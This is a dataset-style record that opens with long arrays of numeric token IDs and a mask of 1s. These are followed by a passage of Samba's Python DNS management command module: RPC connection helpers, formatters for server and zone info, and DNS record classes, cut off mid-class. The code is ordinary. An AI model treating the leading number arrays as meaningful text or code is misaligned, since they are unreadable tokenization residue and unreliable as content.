14, 1985, 508, 20284, 2354, 14, 6592, 14, 4761, 8405, 971, 355, 436, 2256, 14, 5214, 1304, 440, 315, 2257, 1451, 2448, 14, 1612, 837, 490, 327, 17985, 877, 314, 666, 687, 314, 5226, 1072, 436, 3877, 652, 370, 314, 2199, 14, 490, 666, 15183, 275, 291, 14, 2119, 4670, 7961, 423, 6932, 3188, 5824, 3491, 2448, 59, 24064, 2681, 1527, 3756, 2681, 61, 4951, 862, 26, 258, 717, 1687, 6261, 275, 9319, 40, 21, 6261, 7279, 9271, 8, 1708, 29, 277, 14, 2119, 4670, 7961, 14, 1708, 12, 3343, 29, 277, 14, 2119, 4670, 7961, 14, 2180, 9, 717, 1687, 6261, 14, 25551, 6589, 14, 14733, 8, 797, 9, 327, 3599, 1941, 11999, 83, 3224, 330, 1143, 1044, 282, 13918, 12, 436, 3066, 666, 16685, 795, 370, 506 ]
[ 11490, 199, 3, 257, 284, 2019, 3258, 26, 12777, 9328, 436, 27315, 4744, 6065, 199, 3, 199, 3, 755, 1898, 334, 35, 9, 7760, 13, 7280, 12, 314, 284, 2019, 3258, 19782, 199, 3, 13293, 665, 5969, 32, 382, 1810, 3258, 14, 1308, 30, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 199, 3, 2811, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 199, 3, 465, 3267, 701, 314, 2868, 2290, 2752, 27, 1902, 1015, 499, 199, 3, 402, 314, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 1010, 10234, 12, 465, 282, 4539, 1919, 12, 314, 4248, 31976, 402, 199, 3, 284, 2019, 3258, 8120, 1265, 4983, 370, 13323, 284, 2019, 3258, 543, 1145, 16537, 12, 199, 3, 10431, 83, 436, 8963, 1314, 787, 440, 24295, 1334, 314, 1664, 199, 3, 1696, 1684, 844, 14, 199, 3, 199, 3, 1666, 314, 5113, 570, 367, 2436, 14, 844, 2556, 365, 2597, 2808, 199, 3, 641, 314, 284, 2019, 3258, 3330, 4770, 737, 26, 199, 3, 1057, 257, 1455, 921, 382, 1810, 3258, 14, 1308, 15, 1682, 14, 1360, 199, 11490, 199, 504, 1687, 1451, 7713, 492, 9319, 1451, 7713, 12, 20284, 2354, 199, 504, 9617, 1659, 14, 12688, 14, 2308, 3632, 2750, 492, 9319, 4851, 1378, 40, 21, 6261, 12, 9319, 40, 21, 6261, 7279, 9271, 199, 199, 646, 747, 199, 646, 373, 528, 345, 199, 504, 9617, 1659, 14, 16877, 492, 6912, 22714, 199, 504, 9617, 1659, 14, 16877, 14, 7414, 492, 900, 28985, 199, 504, 284, 2019, 3258, 14, 16877, 492, 5398, 199, 504, 9617, 1659, 14, 16877, 14, 515, 4433, 83, 492, 664, 2042, 9958, 2285, 12, 365, 6417, 199, 646, 284, 2019, 3258, 14, 16877, 14, 8473, 199, 199, 504, 284, 2019, 3258, 14, 12820, 1086, 14, 1095, 14, 571, 2723, 7299, 492, 971, 272, 4693, 2723, 7299, 12, 664, 2844, 2499, 2448, 12, 3145, 3917, 19794, 199, 199, 646, 2050, 199, 2921, 275, 2050, 14, 5572, 3460, 354, 3368, 199, 199, 533, 3918, 7713, 7299, 8, 4693, 2723, 7299, 3461, 272, 408, 272, 11973, 6491, 314, 922, 1159, 1324, 666, 7267, 83, 370, 376, 284, 2019, 3258, 373, 16, 14, 22, 2199, 570, 14, 2286, 710, 1402, 4182, 367, 642, 9146, 365, 314, 1124, 4619, 3947, 44, 5865, 1451, 7713, 2448, 1040, 272, 408, 272, 327, 22296, 14821, 12625, 12672, 275, 469, 20284, 2354, 14, 6592, 14, 17521, 420, 520, 283, 17521, 297, 717, 20284, 2354, 14, 6592, 14, 4761, 8405, 520, 283, 4761, 8405, 7, 789, 339, 347, 636, 826, 721, 277, 12, 2746, 4670, 7961, 12, 2199, 1173, 14405, 304, 267, 1613, 8, 3918, 7713, 7299, 12, 291, 221, 2843, 826, 721, 1715, 1173, 14405, 9, 267, 291, 14, 2119, 4670, 7961, 275, 2746, 4670, 7961, 267, 291, 423, 8799, 275, 756, 267, 291, 14, 696, 470, 3466, 11664, 2003, 275, 715, 2728, 291, 423, 1715, 14225, 275, 488, 2728, 291, 14, 1023, 275, 283, 16, 14, 18, 7, 2728, 347, 2429, 29413, 837, 288, 340, 440, 291, 14, 4247, 29413, 26, 355, 291, 423, 8799, 275, 715, 398, 291, 14, 2119, 4670, 7961, 14, 4761, 1173, 14, 6814, 29413, 8, 5398, 8, 2479, 29413, 9, 776, 267, 291, 14, 2119, 4670, 7961, 14, 4761, 1451, 2448, 14, 6814, 29413, 8, 5398, 8, 2479, 29413, 9, 776, 267, 291, 14, 2119, 4670, 7961, 14, 18356, 6231, 14, 6814, 29413, 8, 5398, 8, 2479, 29413, 9, 776, 2728, 347, 2429, 4665, 9271, 8, 7998, 12, 4719, 2681, 304, 288, 9348, 59, 3756, 2681, 1055, 6814, 29413, 8, 5398, 8, 2479, 29413, 9, 776, 288, 9348, 59, 3756, 2681, 1055, 6814, 16761, 8, 5398, 8, 2479, 29413, 9, 776, 267, 347, 2429, 4665, 44, 5865, 8, 3029, 7998, 12, 634, 5865, 2681, 304, 288, 702, 3510, 7998, 508, 291, 14, 2119, 4670, 7961, 14, 9271, 2448, 288, 3510, 7998, 59, 24064, 2681, 1055, 6814, 607, 9449, 8, 5398, 8, 2479, 4665, 9271, 9, 776, 288, 367, 4719, 2681, 315, 1425, 8, 822, 8, 3029, 7998, 59, 24064, 2681, 566, 3461, 355, 2429, 4665, 9271, 8, 3029, 7998, 59, 24064, 2681, 467, 4719, 2681, 9, 267, 291, 14, 2119, 4670, 7961, 14, 9271, 2448, 14, 6814, 607, 9449, 8, 5398, 8, 2479, 4665, 44, 5865, 9, 776, 398, 327, 982, 282, 4789, 1990, 4829, 12, 781, 1929, 370, 506, 295, 8397, 14, 267, 291, 14, 2119, 4670, 7961, 14, 9271, 2448, 14, 6814, 23407, 8, 5398, 8, 2479, 29413, 9, 776, 5493, 768, 521, 28985, 8, 2921, 12, 2050, 14, 5287, 9, 272, 347, 485, 3549, 1378, 40, 1587, 21, 8, 277, 12, 2746, 2448, 12, 394, 1587, 21, 1173, 12, 2199, 14225, 304, 267, 327, 6990, 1263, 4124, 2257, 13148, 370, 314, 2257, 63, 576, 1572, 267, 2257, 1451, 2448, 275, 664, 2844, 2499, 2448, 8, 2119, 2448, 12, 283, 1832, 63, 576, 358, 267, 336, 22665, 8405, 1451, 275, 756, 267, 367, 634, 5865, 2681, 12, 3510, 7998, 315, 3874, 8, 277, 14, 2119, 4670, 7961, 14, 9271, 2448, 304, 288, 367, 4719, 2681, 12, 9348, 315, 3874, 8, 3510, 7998, 3461, 355, 340, 440, 9348, 14, 2179, 837, 490, 1980, 355, 2256, 275, 9348, 14, 585, 355, 327, 982, 642, 4789, 1077, 506, 5489, 315, 314, 2199, 12, 1325, 652, 5712, 1133, 2337, 5966, 355, 340, 221, 2256, 14, 1985, 508, 20284, 2354, 14, 6592, 14, 4761, 8405, 971, 355, 436, 2256, 14, 5214, 1304, 440, 315, 2257, 1451, 2448, 14, 1612, 837, 490, 327, 17985, 877, 314, 666, 687, 314, 5226, 1072, 436, 3877, 652, 370, 314, 2199, 14, 490, 666, 15183, 275, 291, 14, 2119, 4670, 7961, 423, 6932, 3188, 5824, 3491, 2448, 59, 24064, 2681, 1527, 3756, 2681, 61, 4951, 862, 26, 258, 717, 1687, 6261, 275, 9319, 40, 21, 6261, 7279, 9271, 8, 1708, 29, 277, 14, 2119, 4670, 7961, 14, 1708, 12, 3343, 29, 277, 14, 2119, 4670, 7961, 14, 2180, 9, 717, 1687, 6261, 14, 25551, 6589, 14, 14733, 8, 797, 9, 327, 3599, 1941, 11999, 83, 3224, 330, 1143, 1044, 282, 13918, 12, 436, 3066, 666, 16685, 795, 370, 506, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
rchicoli/samba
python/samba/netcmd/dns.py
2
48618
# DNS management tool # # Copyright (C) Amitay Isaacs 2011-2012 # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # import samba.getopt as options from struct import pack from socket import inet_ntoa from socket import inet_ntop from socket import AF_INET from socket import AF_INET6 import shlex from samba.netcmd import ( Command, CommandError, Option, SuperCommand, ) from samba.dcerpc import dnsp, dnsserver def dns_connect(server, lp, creds): if server.lower() == 'localhost': server = '127.0.0.1' binding_str = "ncacn_ip_tcp:%s[sign]" % server dns_conn = dnsserver.dnsserver(binding_str, lp, creds) return dns_conn def bool_string(flag): if flag == 0: ret = 'FALSE' elif flag == 1: ret = 'TRUE' else: ret = 'UNKNOWN (0x%x)' % flag return ret def enum_string(module, enum_defs, value): ret = None for e in enum_defs: if value == getattr(module, e): ret = e break if not ret: ret = 'UNKNOWN (0x%x)' % value return ret def bitmap_string(module, bitmap_defs, value): ret = '' for b in bitmap_defs: if value & getattr(module, b): ret += '%s ' % b if not ret: ret = 'NONE' return ret def boot_method_string(boot_method): enum_defs = [ 'DNS_BOOT_METHOD_UNINITIALIZED', 'DNS_BOOT_METHOD_FILE', 'DNS_BOOT_METHOD_REGISTRY', 'DNS_BOOT_METHOD_DIRECTORY' ] return enum_string(dnsserver, enum_defs, boot_method) def name_check_flag_string(check_flag): enum_defs = [ 'DNS_ALLOW_RFC_NAMES_ONLY', 'DNS_ALLOW_NONRFC_NAMES', 'DNS_ALLOW_MULTIBYTE_NAMES', 'DNS_ALLOW_ALL_NAMES' ] return enum_string(dnsserver, enum_defs, check_flag) def zone_type_string(zone_type): enum_defs = [ 'DNS_ZONE_TYPE_CACHE', 'DNS_ZONE_TYPE_PRIMARY', 'DNS_ZONE_TYPE_SECONDARY', 'DNS_ZONE_TYPE_STUB', 'DNS_ZONE_TYPE_FORWARDER', 'DNS_ZONE_TYPE_SECONDARY_CACHE' ] return enum_string(dnsp, enum_defs, zone_type) def zone_update_string(zone_update): enum_defs = [ 'DNS_ZONE_UPDATE_OFF', 'DNS_ZONE_UPDATE_UNSECURE', 'DNS_ZONE_UPDATE_SECURE' ] return enum_string(dnsp, enum_defs, zone_update) def zone_secondary_security_string(security): enum_defs = [ 'DNS_ZONE_SECSECURE_NO_SECURITY', 'DNS_ZONE_SECSECURE_NS_ONLY', 'DNS_ZONE_SECSECURE_LIST_ONLY', 'DNS_ZONE_SECSECURE_NO_XFER' ] return enum_string(dnsserver, enum_defs, security) def zone_notify_level_string(notify_level): enum_defs = [ 'DNS_ZONE_NOTIFY_OFF', 'DNS_ZONE_NOTIFY_ALL_SECONDARIES', 'DNS_ZONE_NOTIFY_LIST_ONLY' ] return enum_string(dnsserver, enum_defs, notify_level) def dp_flags_string(dp_flags): bitmap_defs = [ 'DNS_DP_AUTOCREATED', 'DNS_DP_LEGACY', 'DNS_DP_DOMAIN_DEFAULT', 'DNS_DP_FOREST_DEFAULT', 'DNS_DP_ENLISTED', 'DNS_DP_DELETED' ] return bitmap_string(dnsserver, bitmap_defs, dp_flags) def zone_flags_string(flags): bitmap_defs = [ 'DNS_RPC_ZONE_PAUSED', 'DNS_RPC_ZONE_SHUTDOWN', 'DNS_RPC_ZONE_REVERSE', 'DNS_RPC_ZONE_AUTOCREATED', 'DNS_RPC_ZONE_DSINTEGRATED', 'DNS_RPC_ZONE_AGING', 'DNS_RPC_ZONE_UPDATE_UNSECURE', 'DNS_RPC_ZONE_UPDATE_SECURE', 'DNS_RPC_ZONE_READONLY'] return bitmap_string(dnsserver, bitmap_defs, flags) def ip4_array_string(array): ret = [] if not array: return ret for i in xrange(array.AddrCount): addr = inet_ntop(AF_INET, pack('I', array.AddrArray[i])) ret.append(addr) return ret def dns_addr_array_string(array): ret = [] if not array: return ret for i in xrange(array.AddrCount): if array.AddrArray[i].MaxSa[0] == 0x02: x = "".join([chr(b) for b in array.AddrArray[i].MaxSa])[4:8] addr = inet_ntop(AF_INET, x) elif array.AddrArray[i].MaxSa[0] == 0x17: x = "".join([chr(b) for b in array.AddrArray[i].MaxSa])[8:24] addr = inet_ntop(AF_INET6, x) else: addr = 'UNKNOWN' ret.append(addr) return ret def dns_type_flag(rec_type): rtype = rec_type.upper() if rtype == 'A': record_type = dnsp.DNS_TYPE_A elif rtype == 'AAAA': record_type = dnsp.DNS_TYPE_AAAA elif rtype == 'PTR': record_type = dnsp.DNS_TYPE_PTR elif rtype == 'NS': record_type = dnsp.DNS_TYPE_NS elif rtype == 'CNAME': record_type = dnsp.DNS_TYPE_CNAME elif rtype == 'SOA': record_type = dnsp.DNS_TYPE_SOA elif rtype == 'MX': record_type = dnsp.DNS_TYPE_MX elif rtype == 'SRV': record_type = dnsp.DNS_TYPE_SRV elif rtype == 'TXT': record_type = dnsp.DNS_TYPE_TXT elif rtype == 'ALL': record_type = dnsp.DNS_TYPE_ALL else: raise CommandError('Unknown type of DNS record %s' % rec_type) return record_type def dns_client_version(cli_version): version = cli_version.upper() if version == 'W2K': client_version = dnsserver.DNS_CLIENT_VERSION_W2K elif version == 'DOTNET': client_version = dnsserver.DNS_CLIENT_VERSION_DOTNET elif version == 'LONGHORN': client_version = dnsserver.DNS_CLIENT_VERSION_LONGHORN else: raise CommandError('Unknown client version %s' % cli_version) return client_version def print_serverinfo(outf, typeid, serverinfo): outf.write(' dwVersion : 0x%x\n' % serverinfo.dwVersion) outf.write(' fBootMethod : %s\n' % boot_method_string(serverinfo.fBootMethod)) outf.write(' fAdminConfigured : %s\n' % bool_string(serverinfo.fAdminConfigured)) outf.write(' fAllowUpdate : %s\n' % bool_string(serverinfo.fAllowUpdate)) outf.write(' fDsAvailable : %s\n' % bool_string(serverinfo.fDsAvailable)) outf.write(' pszServerName : %s\n' % serverinfo.pszServerName) outf.write(' pszDsContainer : %s\n' % serverinfo.pszDsContainer) if typeid != dnsserver.DNSSRV_TYPEID_SERVER_INFO: outf.write(' aipServerAddrs : %s\n' % ip4_array_string(serverinfo.aipServerAddrs)) outf.write(' aipListenAddrs : %s\n' % ip4_array_string(serverinfo.aipListenAddrs)) outf.write(' aipForwarders : %s\n' % ip4_array_string(serverinfo.aipForwarders)) else: outf.write(' aipServerAddrs : %s\n' % dns_addr_array_string(serverinfo.aipServerAddrs)) outf.write(' aipListenAddrs : %s\n' % dns_addr_array_string(serverinfo.aipListenAddrs)) outf.write(' aipForwarders : %s\n' % dns_addr_array_string(serverinfo.aipForwarders)) outf.write(' dwLogLevel : %d\n' % serverinfo.dwLogLevel) outf.write(' dwDebugLevel : %d\n' % serverinfo.dwDebugLevel) outf.write(' dwForwardTimeout : %d\n' % serverinfo.dwForwardTimeout) outf.write(' dwRpcPrototol : 0x%x\n' % serverinfo.dwRpcProtocol) outf.write(' dwNameCheckFlag : %s\n' % name_check_flag_string(serverinfo.dwNameCheckFlag)) outf.write(' cAddressAnswerLimit : %d\n' % serverinfo.cAddressAnswerLimit) outf.write(' dwRecursionRetry : %d\n' % serverinfo.dwRecursionRetry) outf.write(' dwRecursionTimeout : %d\n' % serverinfo.dwRecursionTimeout) outf.write(' dwMaxCacheTtl : %d\n' % serverinfo.dwMaxCacheTtl) outf.write(' dwDsPollingInterval : %d\n' % serverinfo.dwDsPollingInterval) outf.write(' dwScavengingInterval : %d\n' % serverinfo.dwScavengingInterval) outf.write(' dwDefaultRefreshInterval : %d\n' % serverinfo.dwDefaultRefreshInterval) outf.write(' dwDefaultNoRefreshInterval : %d\n' % serverinfo.dwDefaultNoRefreshInterval) outf.write(' fAutoReverseZones : %s\n' % bool_string(serverinfo.fAutoReverseZones)) outf.write(' fAutoCacheUpdate : %s\n' % bool_string(serverinfo.fAutoCacheUpdate)) outf.write(' fRecurseAfterForwarding : %s\n' % bool_string(serverinfo.fRecurseAfterForwarding)) outf.write(' fForwardDelegations : %s\n' % bool_string(serverinfo.fForwardDelegations)) outf.write(' fNoRecursion : %s\n' % bool_string(serverinfo.fNoRecursion)) outf.write(' fSecureResponses : %s\n' % bool_string(serverinfo.fSecureResponses)) outf.write(' fRoundRobin : %s\n' % bool_string(serverinfo.fRoundRobin)) outf.write(' fLocalNetPriority : %s\n' % bool_string(serverinfo.fLocalNetPriority)) outf.write(' fBindSecondaries : %s\n' % bool_string(serverinfo.fBindSecondaries)) outf.write(' fWriteAuthorityNs : %s\n' % bool_string(serverinfo.fWriteAuthorityNs)) outf.write(' fStrictFileParsing : %s\n' % bool_string(serverinfo.fStrictFileParsing)) outf.write(' fLooseWildcarding : %s\n' % bool_string(serverinfo.fLooseWildcarding)) outf.write(' fDefaultAgingState : %s\n' % bool_string(serverinfo.fDefaultAgingState)) if typeid != dnsserver.DNSSRV_TYPEID_SERVER_INFO_W2K: outf.write(' dwRpcStructureVersion : 0x%x\n' % serverinfo.dwRpcStructureVersion) outf.write(' aipLogFilter : %s\n' % dns_addr_array_string(serverinfo.aipLogFilter)) outf.write(' pwszLogFilePath : %s\n' % serverinfo.pwszLogFilePath) outf.write(' pszDomainName : %s\n' % serverinfo.pszDomainName) outf.write(' pszForestName : %s\n' % serverinfo.pszForestName) outf.write(' pszDomainDirectoryPartition : %s\n' % serverinfo.pszDomainDirectoryPartition) outf.write(' pszForestDirectoryPartition : %s\n' % serverinfo.pszForestDirectoryPartition) outf.write(' dwLocalNetPriorityNetMask : 0x%x\n' % serverinfo.dwLocalNetPriorityNetMask) outf.write(' dwLastScavengeTime : %d\n' % serverinfo.dwLastScavengeTime) outf.write(' dwEventLogLevel : %d\n' % serverinfo.dwEventLogLevel) outf.write(' dwLogFileMaxSize : %d\n' % serverinfo.dwLogFileMaxSize) outf.write(' dwDsForestVersion : %d\n' % serverinfo.dwDsForestVersion) outf.write(' dwDsDomainVersion : %d\n' % serverinfo.dwDsDomainVersion) outf.write(' dwDsDsaVersion : %d\n' % serverinfo.dwDsDsaVersion) if typeid == dnsserver.DNSSRV_TYPEID_SERVER_INFO: outf.write(' fReadOnlyDC : %s\n' % bool_string(serverinfo.fReadOnlyDC)) def print_zoneinfo(outf, typeid, zoneinfo): outf.write(' pszZoneName : %s\n' % zoneinfo.pszZoneName) outf.write(' dwZoneType : %s\n' % zone_type_string(zoneinfo.dwZoneType)) outf.write(' fReverse : %s\n' % bool_string(zoneinfo.fReverse)) outf.write(' fAllowUpdate : %s\n' % zone_update_string(zoneinfo.fAllowUpdate)) outf.write(' fPaused : %s\n' % bool_string(zoneinfo.fPaused)) outf.write(' fShutdown : %s\n' % bool_string(zoneinfo.fShutdown)) outf.write(' fAutoCreated : %s\n' % bool_string(zoneinfo.fAutoCreated)) outf.write(' fUseDatabase : %s\n' % bool_string(zoneinfo.fUseDatabase)) outf.write(' pszDataFile : %s\n' % zoneinfo.pszDataFile) if typeid != dnsserver.DNSSRV_TYPEID_ZONE_INFO: outf.write(' aipMasters : %s\n' % ip4_array_string(zoneinfo.aipMasters)) else: outf.write(' aipMasters : %s\n' % dns_addr_array_string(zoneinfo.aipMasters)) outf.write(' fSecureSecondaries : %s\n' % zone_secondary_security_string(zoneinfo.fSecureSecondaries)) outf.write(' fNotifyLevel : %s\n' % zone_notify_level_string(zoneinfo.fNotifyLevel)) if typeid != dnsserver.DNSSRV_TYPEID_ZONE_INFO: outf.write(' aipSecondaries : %s\n' % ip4_array_string(zoneinfo.aipSecondaries)) outf.write(' aipNotify : %s\n' % ip4_array_string(zoneinfo.aipNotify)) else: outf.write(' aipSecondaries : %s\n' % dns_addr_array_string(zoneinfo.aipSecondaries)) outf.write(' aipNotify : %s\n' % dns_addr_array_string(zoneinfo.aipNotify)) outf.write(' fUseWins : %s\n' % bool_string(zoneinfo.fUseWins)) outf.write(' fUseNbstat : %s\n' % bool_string(zoneinfo.fUseNbstat)) outf.write(' fAging : %s\n' % bool_string(zoneinfo.fAging)) outf.write(' dwNoRefreshInterval : %d\n' % zoneinfo.dwNoRefreshInterval) outf.write(' dwRefreshInterval : %d\n' % zoneinfo.dwRefreshInterval) outf.write(' dwAvailForScavengeTime : %d\n' % zoneinfo.dwAvailForScavengeTime) if typeid != dnsserver.DNSSRV_TYPEID_ZONE_INFO: outf.write(' aipScavengeServers : %s\n' % ip4_array_string(zoneinfo.aipScavengeServers)) else: outf.write(' aipScavengeServers : %s\n' % dns_addr_array_string(zoneinfo.aipScavengeServers)) if typeid != dnsserver.DNSSRV_TYPEID_ZONE_INFO_W2K: outf.write(' dwRpcStructureVersion : 0x%x\n' % zoneinfo.dwRpcStructureVersion) outf.write(' dwForwarderTimeout : %d\n' % zoneinfo.dwForwarderTimeout) outf.write(' fForwarderSlave : %d\n' % zoneinfo.fForwarderSlave) if typeid != dnsserver.DNSSRV_TYPEID_ZONE_INFO: outf.write(' aipLocalMasters : %s\n' % ip4_array_string(zoneinfo.aipLocalMasters)) else: outf.write(' aipLocalMasters : %s\n' % dns_addr_array_string(zoneinfo.aipLocalMasters)) outf.write(' dwDpFlags : %s\n' % dp_flags_string(zoneinfo.dwDpFlags)) outf.write(' pszDpFqdn : %s\n' % zoneinfo.pszDpFqdn) outf.write(' pwszZoneDn : %s\n' % zoneinfo.pwszZoneDn) outf.write(' dwLastSuccessfulSoaCheck : %d\n' % zoneinfo.dwLastSuccessfulSoaCheck) outf.write(' dwLastSuccessfulXfr : %d\n' % zoneinfo.dwLastSuccessfulXfr) if typeid == dnsserver.DNSSRV_TYPEID_ZONE_INFO: outf.write(' fQueuedForBackgroundLoad : %s\n' % bool_string(zoneinfo.fQueuedForBackgroundLoad)) outf.write(' fBackgroundLoadInProgress : %s\n' % bool_string(zoneinfo.fBackgroundLoadInProgress)) outf.write(' fReadOnlyZone : %s\n' % bool_string(zoneinfo.fReadOnlyZone)) outf.write(' dwLastXfrAttempt : %d\n' % zoneinfo.dwLastXfrAttempt) outf.write(' dwLastXfrResult : %d\n' % zoneinfo.dwLastXfrResult) def print_zone(outf, typeid, zone): outf.write(' pszZoneName : %s\n' % zone.pszZoneName) outf.write(' Flags : %s\n' % zone_flags_string(zone.Flags)) outf.write(' ZoneType : %s\n' % zone_type_string(zone.ZoneType)) outf.write(' Version : %s\n' % zone.Version) if typeid != dnsserver.DNSSRV_TYPEID_ZONE_W2K: outf.write(' dwDpFlags : %s\n' % dp_flags_string(zone.dwDpFlags)) outf.write(' pszDpFqdn : %s\n' % zone.pszDpFqdn) def print_enumzones(outf, typeid, zones): outf.write(' %d zone(s) found\n' % zones.dwZoneCount) for zone in zones.ZoneArray: outf.write('\n') print_zone(outf, typeid, zone) def print_dns_record(outf, rec): if rec.wType == dnsp.DNS_TYPE_A: mesg = 'A: %s' % (rec.data) elif rec.wType == dnsp.DNS_TYPE_AAAA: mesg = 'AAAA: %s' % (rec.data) elif rec.wType == dnsp.DNS_TYPE_PTR: mesg = 'PTR: %s' % (rec.data.str) elif rec.wType == dnsp.DNS_TYPE_NS: mesg = 'NS: %s' % (rec.data.str) elif rec.wType == dnsp.DNS_TYPE_CNAME: mesg = 'CNAME: %s' % (rec.data.str) elif rec.wType == dnsp.DNS_TYPE_SOA: mesg = 'SOA: serial=%d, refresh=%d, retry=%d, expire=%d, minttl=%d, ns=%s, email=%s' % ( rec.data.dwSerialNo, rec.data.dwRefresh, rec.data.dwRetry, rec.data.dwExpire, rec.data.dwMinimumTtl, rec.data.NamePrimaryServer.str, rec.data.ZoneAdministratorEmail.str) elif rec.wType == dnsp.DNS_TYPE_MX: mesg = 'MX: %s (%d)' % (rec.data.nameExchange.str, rec.data.wPreference) elif rec.wType == dnsp.DNS_TYPE_SRV: mesg = 'SRV: %s (%d, %d, %d)' % (rec.data.nameTarget.str, rec.data.wPort, rec.data.wPriority, rec.data.wWeight) elif rec.wType == dnsp.DNS_TYPE_TXT: slist = ['"%s"' % name.str for name in rec.data.str] mesg = 'TXT: %s' % ','.join(slist) else: mesg = 'Unknown: ' outf.write(' %s (flags=%x, serial=%d, ttl=%d)\n' % ( mesg, rec.dwFlags, rec.dwSerial, rec.dwTtlSeconds)) def print_dnsrecords(outf, records): for rec in records.rec: outf.write(' Name=%s, Records=%d, Children=%d\n' % ( rec.dnsNodeName.str, rec.wRecordCount, rec.dwChildCount)) for dns_rec in rec.records: print_dns_record(outf, dns_rec) # # Always create a copy of strings when creating DNS_RPC_RECORDs # to overcome the bug in pidl generated python bindings. # class ARecord(dnsserver.DNS_RPC_RECORD): def __init__(self, ip_addr, serial=1, ttl=900, rank=dnsp.DNS_RANK_ZONE, node_flag=0): super(ARecord, self).__init__() self.wType = dnsp.DNS_TYPE_A self.dwFlags = rank | node_flag self.dwSerial = serial self.dwTtlSeconds = ttl self._ip_addr = ip_addr[:] self.data = self._ip_addr class AAAARecord(dnsserver.DNS_RPC_RECORD): def __init__(self, ip6_addr, serial=1, ttl=900, rank=dnsp.DNS_RANK_ZONE, node_flag=0): super(AAAARecord, self).__init__() self.wType = dnsp.DNS_TYPE_AAAA self.dwFlags = rank | node_flag self.dwSerial = serial self.dwTtlSeconds = ttl self._ip6_addr = ip6_addr[:] self.data = self._ip6_addr class PTRRecord(dnsserver.DNS_RPC_RECORD): def __init__(self, ptr, serial=1, ttl=900, rank=dnsp.DNS_RANK_ZONE, node_flag=0): super(PTRRecord, self).__init__() self.wType = dnsp.DNS_TYPE_PTR self.dwFlags = rank | node_flag self.dwSerial = serial self.dwTtlSeconds = ttl self._ptr = ptr[:] ptr_name = dnsserver.DNS_RPC_NAME() ptr_name.str = self._ptr ptr_name.len = len(ptr) self.data = ptr_name class CNameRecord(dnsserver.DNS_RPC_RECORD): def __init__(self, cname, serial=1, ttl=900, rank=dnsp.DNS_RANK_ZONE, node_flag=0): super(CNameRecord, self).__init__() self.wType = dnsp.DNS_TYPE_CNAME self.dwFlags = rank | node_flag self.dwSerial = serial self.dwTtlSeconds = ttl self._cname = cname[:] cname_name = dnsserver.DNS_RPC_NAME() cname_name.str = self._cname cname_name.len = len(cname) self.data = cname_name class NSRecord(dnsserver.DNS_RPC_RECORD): def __init__(self, dns_server, serial=1, ttl=900, rank=dnsp.DNS_RANK_ZONE, node_flag=0): super(NSRecord, self).__init__() self.wType = dnsp.DNS_TYPE_NS self.dwFlags = rank | node_flag self.dwSerial = serial self.dwTtlSeconds = ttl self._dns_server = dns_server[:] ns = dnsserver.DNS_RPC_NAME() ns.str = self._dns_server ns.len = len(dns_server) self.data = ns class MXRecord(dnsserver.DNS_RPC_RECORD): def __init__(self, mail_server, preference, serial=1, ttl=900, rank=dnsp.DNS_RANK_ZONE, node_flag=0): super(MXRecord, self).__init__() self.wType = dnsp.DNS_TYPE_MX self.dwFlags = rank | node_flag self.dwSerial = serial self.dwTtlSeconds = ttl self._mail_server = mail_server[:] mx = dnsserver.DNS_RPC_RECORD_NAME_PREFERENCE() mx.wPreference = preference mx.nameExchange.str = self._mail_server mx.nameExchange.len = len(mail_server) self.data = mx class SOARecord(dnsserver.DNS_RPC_RECORD): def __init__(self, mname, rname, serial=1, refresh=900, retry=600, expire=86400, minimum=3600, ttl=3600, rank=dnsp.DNS_RANK_ZONE, node_flag=dnsp.DNS_RPC_FLAG_AUTH_ZONE_ROOT): super(SOARecord, self).__init__() self.wType = dnsp.DNS_TYPE_SOA self.dwFlags = rank | node_flag self.dwSerial = serial self.dwTtlSeconds = ttl self._mname = mname[:] self._rname = rname[:] soa = dnsserver.DNS_RPC_RECORD_SOA() soa.dwSerialNo = serial soa.dwRefresh = refresh soa.dwRetry = retry soa.dwExpire = expire 